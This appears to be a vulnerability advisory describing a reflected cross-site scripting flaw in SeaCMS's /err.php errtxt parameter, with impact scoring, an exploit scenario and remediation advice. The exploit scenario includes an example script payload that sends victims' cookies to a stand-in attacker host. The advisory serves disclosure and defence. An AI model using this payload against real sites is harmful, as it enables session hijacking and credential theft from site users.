Exploitation Conditions

Exploitation requires that a victim user click or otherwise follow a crafted URL containing a malicious errtxt parameter pointing to the target SeaCMS installation's /err.php endpoint. The SeaCMS application must be reachable over the network from the attacker's delivery vector. No authentication, no special server-side configuration, and no non-default settings are required - the /err.php file is a standard component of SeaCMS up to 13.6. The key limiting factor is the mandatory user interaction: the attack is reflected (not stored), so the attacker cannot exploit victims passively without delivering a link. Exploitation is therefore constrained to social-engineering or secondary-injection scenarios rather than fully automated scanning.

Impact

The CVSS 4.0 base score of 5.3 (AV:N/AC:L/AT:N/PR:N/UI:P) correctly captures a low-complexity, network-reachable attack requiring passive user interaction. The E:P supplemental metric acknowledges the public exploit, which meaningfully elevates real-world risk above the base score alone. However, the UI:P requirement limits mass-automated exploitation - an attacker must deliver a crafted link to a specific victim, typically via phishing or injected hyperlinks. No KEV listing indicates no confirmed widespread active exploitation at time of analysis. Impact is bounded: VC:N/VI:L reflects limited direct server-side compromise, though browser-side consequences (session theft, credential harvesting, defacement) can exceed what the score implies for an authenticated victim. Overall, real-world priority is moderate: sites with authenticated administrative users represent a more consequential target than anonymous visitors. EPSS score is not provided in the input data and cannot be stated.

Exploit ScenarioDerived

An attacker crafts a URL targeting a SeaCMS-hosted site, embedding a malicious JavaScript payload in the errtxt parameter (e.g., /err.php?errtxt=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>). The attacker delivers this URL to a target victim - such as an authenticated administrator - via a phishing email or embedded link. When the victim clicks the link, their browser executes the attacker's script in the origin of the SeaCMS site, potentially exfiltrating session cookies or performing actions on behalf of the victim. A public proof-of-concept documenting this exact technique is available on GitHub.

AnalysisAI

Reflected cross-site scripting in SeaCMS up to version 13.6 allows remote unauthenticated attackers to inject arbitrary JavaScript into a victim's browser session via the errtxt parameter of /err.php. Exploitation requires social engineering to deliver a crafted URL to a target user; no privileges or prior authentication are needed. A public proof-of-concept exploit exists on GitHub, raising the likelihood of opportunistic abuse against sites running unpatched SeaCMS installations.

RemediationAI

No vendor-released patch has been identified at time of analysis; the fix version is not confirmed in the provided input data. As an immediate compensating control, operators should configure a web application firewall rule to strip or encode angle brackets and JavaScript-significant characters from the errtxt query parameter on requests to /err.php - note this is a bypass-prone mitigation, not a code fix. Alternatively, restrict access to /err.php at the web server or network layer if the endpoint is not required for end-user access; this eliminates the attack surface entirely but may suppress legitimate error display. The researcher's advisory at the GitHub URL above should be monitored for any upstream patch commit. Site owners should also check the SeaCMS project repository directly for patches or version updates beyond 13.6.

Technical ContextAI · show details

SeaCMS is a PHP-based content management system used primarily in Chinese-language web deployments. The vulnerability resides in /err.php, an error-handling page that reflects the errtxt GET/POST parameter directly into the HTML response without adequate output encoding or sanitization - a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) defect. Because error pages often execute in contexts where session cookies or CSRF tokens are present, reflected XSS here can be leveraged for session hijacking or forced action on behalf of an authenticated victim. Affected CPE: cpe:2.3:a:n/a:seacms:*:*:*:*:*:*:*:* covering all versions through 13.6.
